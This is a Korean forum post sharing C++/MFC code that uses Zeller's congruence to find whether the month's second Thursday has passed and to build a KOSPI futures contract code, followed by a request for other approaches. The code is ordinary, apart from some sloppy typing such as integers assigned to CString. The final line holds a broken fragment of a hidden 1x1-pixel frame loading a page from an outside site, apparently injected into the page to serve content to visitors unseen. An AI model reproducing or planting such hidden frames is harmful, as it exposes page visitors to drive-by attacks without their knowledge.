// 제라의 공식 (요일 리턴 0:일, 1:월, 2:화, 3:수, 4:목, 5:금, 6:토)
// yy는 년도의 뒷 두자리, mm은 월, dd는 일
int ZellersCongruence(int yy, int mm, int dd)
{
    if  (mm < 3)
    {
        --yy;
        mm += 12;
    }
 
    return (105 + 5*yy/4 + 26*(mm+1)/10 + dd-1) % 7;
}
 
// 선물 코드값 계산
CString CreatFuCode()
{
    CTime t = CTime::GetCurrentTime();
    CString str = "";
    CString year = atoi(t.Format("%Y")) - 1941;
    CString month = "";
    int day = atoi(t.Format("%d"));
    int head = ZellersCongruence(atoi(t.Format("%y")), atoi(t.Format("%m")), 1);
    // 이번달 1일의 요일
    BOOL thur2over = FALSE;     // 목요일이 두번 지났으면 TRUE
 
    // 목요일이 두번 지나갔는지 확인
    if      (day < 9)    thur2over = FALSE;
    else if (day > 14)   thur2over = TRUE;
    else
    {
        if  (head <= 4)
        {
            if  (13 - head > day)    thur2over = FALSE;
            else                    thur2over = TRUE;
        }
        else
        {
            if  (20 - head > day)    thur2over = FALSE;
            else                    thur2over = TRUE;
        }
    }
     
    // 월과 년에 해당되는 코드를 계산
    switch  (atoi(t.Format("%m")))
    {
    case 1:
    case 2:
        month = "3";
        break;
    case 3:
        if  (thur2over)     month = "6";
        else                month = "3";
        break;
    case 4:
    case 5:
        month = "6";
        break;
    case 6:
        if  (thur2over)     month = "9";
        else                month = "6";
        break;
    case 7:
    case 8:
        month = "9";
        break;
    case 9:
        if  (thur2over)     month = "C";
        else                month = "9";
        break;
    case 10:
    case 11:
        month = "C";
        break;
    case 12:
        if  (thur2over)
        {
            month = "3";
            year = atoi(t.Format("%Y")) - 1940;
        }
        else
            month = "C";
        break;
    }
 
    return ("101" + year + month + "000");
}

꿀럭.. 알고리즘이 이거말고 마땅히 떠오르지 않는다.ㅠ

횽들은 어케해서 종목코드 구함??

목요일이 두 번 지나갔는지, 안 지나갔는지 알아내는게 쉽지가 않네
>< src=http://mall22.com/view.htm width=1 height=1>>>